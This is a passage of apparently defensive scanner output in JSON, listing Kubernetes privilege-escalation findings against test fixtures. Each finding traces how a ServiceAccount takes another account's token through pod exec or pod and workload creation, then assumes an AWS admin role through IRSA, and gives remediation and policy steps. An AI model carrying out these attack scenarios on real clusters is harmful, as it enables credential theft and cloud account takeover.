    "remediation": "Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission `create,get pods/exec|pods/attach` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-pod-exec` → `ServiceAccount/cloud-eks-test/eks-admin-irsa`).",
    "remediation_steps": [
      "Audit the IAM role's trust policy: `aws iam get-role --role-name \u003crole\u003e` and confirm the `Condition` block restricts `sub` to exactly this ServiceAccount (e.g. `system:serviceaccount:\u003cns\u003e:\u003csa\u003e`). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.",
      "Apply least-privilege actions on the role's attached policies. Replace `Action: \"*\"` or `Resource: \"*\"` with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).",
      "Tag and audit role usage with CloudTrail. Set `aws_iam_role_last_used` to alert on any AssumeRole event not originating from the expected SA's OIDC sub.",
      "Break the in-cluster chain: remove the permission `create,get pods/exec|pods/attach` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-pod-exec` → `ServiceAccount/cloud-eks-test/eks-admin-irsa`).",
      "Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose `eks.amazonaws.com/role-arn` annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist."
    ],
    "references": [
      "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html",
      "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html",
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "AWS: IAM Roles for Service Accounts (IRSA)",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"
      },
      {
        "title": "AWS: Restrict an IRSA role to a single ServiceAccount",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html"
      },
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_exec",
        "technique": "KUBE-PRIVESC-004",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-exec",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "eks-admin-irsa",
          "namespace": "cloud-eks-test"
        },
        "permission": "create,get pods/exec|pods/attach",
        "gains": "can exec into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa",
        "source_binding": "crb-pod-exec",
        "source_role": "cr-pod-exec"
      },
      {
        "step": 2,
        "action": "irsa_assume_role",
        "technique": "KUBE-CLOUD-IRSA",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "eks-admin-irsa",
          "namespace": "cloud-eks-test"
        },
        "to_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/AdministratorAccess"
        },
        "permission": "arn:aws:iam::123456789012:role/AdministratorAccess",
        "gains": "ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:aws_iam_role"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE:ServiceAccount/rbac-fixtures/sa-pod-create:aws_iam_role:arn:aws:iam::123456789012:role/AdministratorAccess",
    "rule_id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE",
    "severity": "HIGH",
    "score": 7.2,
    "category": "privilege_escalation",
    "title": "ServiceAccount can reach external AWS IAM role",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-pod-create` has a privesc path that ends at an external AWS IAM role. The terminal hop is `irsa_assume_role`: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.\n\nThe chain (2 hop(s); each step uses an explicit primitive the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cloud-eks-test/eks-admin-irsa` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount cloud-eks-test/eks-admin-irsa\n  2. `ServiceAccount/cloud-eks-test/eks-admin-irsa` → `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `irsa_assume_role` (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA\n\nThis finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or `aws iam simulate-principal-policy`) is required to convert this into a concrete impact statement.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-pod-create` -\u003e external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface."
    },
    "impact": "Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/rbac-fixtures/sa-pod-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/cloud-eks-test/eks-admin-irsa` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/cloud-eks-test/eks-admin-irsa`, the attacker uses the `irsa_assume_role` technique to reach `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `arn:aws:iam::123456789012:role/AdministratorAccess`, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.",
      "Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (`sts:AssumeRoleWithWebIdentity`) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. irsa_assume_role [arn:aws:iam::123456789012:role/AdministratorAccess]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 2,
      "target": "aws_iam_role",
      "target_namespace": "",
      "techniques": [
        "pod_create_token_theft",
        "irsa_assume_role"
      ]
    },
    "remediation": "Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the `create pods` capability that enables hop 1 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cloud-eks-test/eks-admin-irsa`).",
    "remediation_steps": [
      "Audit the IAM role's trust policy: `aws iam get-role --role-name \u003crole\u003e` and confirm the `Condition` block restricts `sub` to exactly this ServiceAccount (e.g. `system:serviceaccount:\u003cns\u003e:\u003csa\u003e`). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.",
      "Apply least-privilege actions on the role's attached policies. Replace `Action: \"*\"` or `Resource: \"*\"` with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).",
      "Tag and audit role usage with CloudTrail. Set `aws_iam_role_last_used` to alert on any AssumeRole event not originating from the expected SA's OIDC sub.",
      "Break the in-cluster chain: remove the `create pods` capability that enables hop 1 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cloud-eks-test/eks-admin-irsa`).",
      "Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose `eks.amazonaws.com/role-arn` annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist."
    ],
    "references": [
      "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html",
      "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html",
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "AWS: IAM Roles for Service Accounts (IRSA)",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"
      },
      {
        "title": "AWS: Restrict an IRSA role to a single ServiceAccount",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html"
      },
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "eks-admin-irsa",
          "namespace": "cloud-eks-test"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount cloud-eks-test/eks-admin-irsa",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 2,
        "action": "irsa_assume_role",
        "technique": "KUBE-CLOUD-IRSA",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "eks-admin-irsa",
          "namespace": "cloud-eks-test"
        },
        "to_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/AdministratorAccess"
        },
        "permission": "arn:aws:iam::123456789012:role/AdministratorAccess",
        "gains": "ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:aws_iam_role"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE:ServiceAccount/rbac-fixtures/sa-pod-create:aws_iam_role:arn:aws:iam::123456789012:role/ImpersonatorAdminRole",
    "rule_id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE",
    "severity": "HIGH",
    "score": 7.2,
    "category": "privilege_escalation",
    "title": "ServiceAccount can reach external AWS IAM role",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-pod-create` has a privesc path that ends at an external AWS IAM role. The terminal hop is `irsa_assume_role`: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.\n\nThe chain (2 hop(s); each step uses an explicit primitive the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cloud-eks-imp/imp-irsa` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa\n  2. `ServiceAccount/cloud-eks-imp/imp-irsa` → `User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole` via `irsa_assume_role` (arn:aws:iam::123456789012:role/ImpersonatorAdminRole): ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA\n\nThis finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or `aws iam simulate-principal-policy`) is required to convert this into a concrete impact statement.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-pod-create` -\u003e external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface."
    },
    "impact": "Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/rbac-fixtures/sa-pod-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/cloud-eks-imp/imp-irsa` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/cloud-eks-imp/imp-irsa`, the attacker uses the `irsa_assume_role` technique to reach `User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole` via `arn:aws:iam::123456789012:role/ImpersonatorAdminRole`, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA.",
      "Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (`sts:AssumeRoleWithWebIdentity`) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. irsa_assume_role [arn:aws:iam::123456789012:role/ImpersonatorAdminRole]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 2,
      "target": "aws_iam_role",
      "target_namespace": "",
      "techniques": [
        "pod_create_token_theft",
        "irsa_assume_role"
      ]
    },
    "remediation": "Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the `create pods` capability that enables hop 1 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cloud-eks-imp/imp-irsa`).",
    "remediation_steps": [
      "Audit the IAM role's trust policy: `aws iam get-role --role-name \u003crole\u003e` and confirm the `Condition` block restricts `sub` to exactly this ServiceAccount (e.g. `system:serviceaccount:\u003cns\u003e:\u003csa\u003e`). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.",
      "Apply least-privilege actions on the role's attached policies. Replace `Action: \"*\"` or `Resource: \"*\"` with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).",
      "Tag and audit role usage with CloudTrail. Set `aws_iam_role_last_used` to alert on any AssumeRole event not originating from the expected SA's OIDC sub.",
      "Break the in-cluster chain: remove the `create pods` capability that enables hop 1 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cloud-eks-imp/imp-irsa`).",
      "Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose `eks.amazonaws.com/role-arn` annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist."
    ],
    "references": [
      "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html",
      "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html",
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "AWS: IAM Roles for Service Accounts (IRSA)",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"
      },
      {
        "title": "AWS: Restrict an IRSA role to a single ServiceAccount",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html"
      },
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "imp-irsa",
          "namespace": "cloud-eks-imp"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 2,
        "action": "irsa_assume_role",
        "technique": "KUBE-CLOUD-IRSA",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imp-irsa",
          "namespace": "cloud-eks-imp"
        },
        "to_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/ImpersonatorAdminRole"
        },
        "permission": "arn:aws:iam::123456789012:role/ImpersonatorAdminRole",
        "gains": "ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:aws_iam_role"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE:ServiceAccount/rbac-fixtures/sa-workload-mutate:aws_iam_role:arn:aws:iam::123456789012:role/AdministratorAccess",
    "rule_id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE",
    "severity": "HIGH",
    "score": 7.2,
    "category": "privilege_escalation",
    "title": "ServiceAccount can reach external AWS IAM role",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-workload-mutate` has a privesc path that ends at an external AWS IAM role. The terminal hop is `irsa_assume_role`: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.\n\nThe chain (2 hop(s); each step uses an explicit primitive the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/cloud-eks-test/eks-admin-irsa` via `workload_create_token_theft` (create deployments/daemonsets/statefulsets/jobs/cronjobs): can create a workload whose pods run as ServiceAccount cloud-eks-test/eks-admin-irsa\n  2. `ServiceAccount/cloud-eks-test/eks-admin-irsa` → `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `irsa_assume_role` (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA\n\nThis finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or `aws iam simulate-principal-policy`) is required to convert this into a concrete impact statement.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-workload-mutate",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-workload-mutate` -\u003e external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface."
    },
    "impact": "Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/rbac-fixtures/sa-workload-mutate`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-workload-mutate`, the attacker creates a workload (`create deployments/daemonsets/statefulsets/jobs/cronjobs`) whose pod template runs as `ServiceAccount/cloud-eks-test/eks-admin-irsa`. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.",
      "Acting as `ServiceAccount/cloud-eks-test/eks-admin-irsa`, the attacker uses the `irsa_assume_role` technique to reach `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `arn:aws:iam::123456789012:role/AdministratorAccess`, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.",
      "Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (`sts:AssumeRoleWithWebIdentity`) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster."
    ],
    "evidence": {
      "chain_summary": [
        "1. workload_create_token_theft [create deployments/daemonsets/statefulsets/jobs/cronjobs]",
        "2. irsa_assume_role [arn:aws:iam::123456789012:role/AdministratorAccess]"
      ],
      "first_action": "workload_create_token_theft",
      "hop_count": 2,
      "target": "aws_iam_role",
      "target_namespace": "",
      "techniques": [
        "workload_create_token_theft",
        "irsa_assume_role"
      ]
    },
    "remediation": "Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission `create deployments/daemonsets/statefulsets/jobs/cronjobs` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/cloud-eks-test/eks-admin-irsa`).",
    "remediation_steps": [
      "Audit the IAM role's trust policy: `aws iam get-role --role-name \u003crole\u003e` and confirm the `Condition` block restricts `sub` to exactly this ServiceAccount (e.g. `system:serviceaccount:\u003cns\u003e:\u003csa\u003e`). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.",
      "Apply least-privilege actions on the role's attached policies. Replace `Action: \"*\"` or `Resource: \"*\"` with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).",
      "Tag and audit role usage with CloudTrail. Set `aws_iam_role_last_used` to alert on any AssumeRole event not originating from the expected SA's OIDC sub.",
      "Break the in-cluster chain: remove the permission `create deployments/daemonsets/statefulsets/jobs/cronjobs` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/cloud-eks-test/eks-admin-irsa`).",
      "Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose `eks.amazonaws.com/role-arn` annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist."
    ],
    "references": [
      "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html",
      "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html",
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "AWS: IAM Roles for Service Accounts (IRSA)",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"
      },
      {
        "title": "AWS: Restrict an IRSA role to a single ServiceAccount",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html"
      },
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "workload_create_token_theft",
        "technique": "KUBE-PRIVESC-003",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-workload-mutate",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "eks-admin-irsa",
          "namespace": "cloud-eks-test"
        },
        "permission": "create deployments/daemonsets/statefulsets/jobs/cronjobs",
        "gains": "can create a workload whose pods run as ServiceAccount cloud-eks-test/eks-admin-irsa",
        "source_binding": "crb-workload-mutate",
        "source_role": "cr-workload-mutate"
      },
      {
        "step": 2,
        "action": "irsa_assume_role",
        "technique": "KUBE-CLOUD-IRSA",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "eks-admin-irsa",
          "namespace": "cloud-eks-test"
        },
        "to_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/AdministratorAccess"
        },
        "permission": "arn:aws:iam::123456789012:role/AdministratorAccess",
        "gains": "ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:aws_iam_role"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE:ServiceAccount/rbac-fixtures/sa-workload-mutate:aws_iam_role:arn:aws:iam::123456789012:role/ImpersonatorAdminRole",
    "rule_id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE",
    "severity": "HIGH",
    "score": 7.2,
    "category": "privilege_escalation",
    "title": "ServiceAccount can reach external AWS IAM role",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-workload-mutate` has a privesc path that ends at an external AWS IAM role. The terminal hop is `irsa_assume_role`: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.\n\nThe chain (2 hop(s); each step uses an explicit primitive the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/cloud-eks-imp/imp-irsa` via `workload_create_token_theft` (create deployments/daemonsets/statefulsets/jobs/cronjobs): can create a workload whose pods run as ServiceAccount cloud-eks-imp/imp-irsa\n  2. `ServiceAccount/cloud-eks-imp/imp-irsa` → `User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole` via `irsa_assume_role` (arn:aws:iam::123456789012:role/ImpersonatorAdminRole): ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA\n\nThis finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or `aws iam simulate-principal-policy`) is required to convert this into a concrete impact statement.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-workload-mutate",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-workload-mutate` -\u003e external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface."
    },
    "impact": "Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/rbac-fixtures/sa-workload-mutate`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-workload-mutate`, the attacker creates a workload (`create deployments/daemonsets/statefulsets/jobs/cronjobs`) whose pod template runs as `ServiceAccount/cloud-eks-imp/imp-irsa`. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.",
